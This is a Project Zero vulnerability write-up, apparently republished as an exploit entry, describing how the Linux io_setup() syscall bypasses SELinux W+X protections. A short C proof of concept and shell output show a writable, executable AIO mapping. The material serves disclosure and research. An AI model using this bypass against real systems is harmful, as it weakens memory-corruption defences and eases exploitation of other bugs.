Linux SELinux - W+X Protection Bypass via AIO

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=854

SELinux has a set of permissions that can be used to prevent processes from creating executable
memory mappings that contain data controlled by the process (PROCESS__EXECMEM, PROCESS__EXECHEAP, ...).
These permissions, when applied correctly, make exploitation of memory corruption issues somewhat more
difficult and much more annoying.

When a process tries to map memory using sys_mmap_pgoff(), vm_mmap_pgoff() is called, which first
performs the LSM security check by calling security_mmap_file() and then calls do_mmap_pgoff(), which
takes care of the rest and does not rerun the same security check.

The syscall handler for io_setup() calls ioctx_alloc(), which calls aio_setup_ring(), which allocates
memory via do_mmap_pgoff() - the method that doesn't contain the security check.

aio_setup_ring() only requests that the memory is mapped as PROT_READ | PROT_WRITE; however, if the
process has called personality(READ_IMPLIES_EXEC) before, this will actually result in the creation
of a memory mapping that is both writable and executable, bypassing the SELinux restriction.

To verify: (note: I actually tested this without SELinux since the code looks pretty straightforward
and I don't want to figure out how to set up SELinux rules)

$ cat > iosetup.c
*/

#define _GNU_SOURCE
#include <linux/aio_abi.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <err.h>
#include <sys/personality.h>

int main(void) {
  aio_context_t ctx;
  personality(READ_IMPLIES_EXEC);
  if (syscall(__NR_io_setup, 1, &ctx))
    err(1, "io_setup");
  while (1) pause();
}

/*
$ gcc -o iosetup iosetup.c
$ ./iosetup &
[1] 4949
$ cat /proc/4949/maps | grep aio
7fa0b59c6000-7fa0b59c7000 rwxs 00000000 00:0b 36093330                   /[aio] (deleted)
*/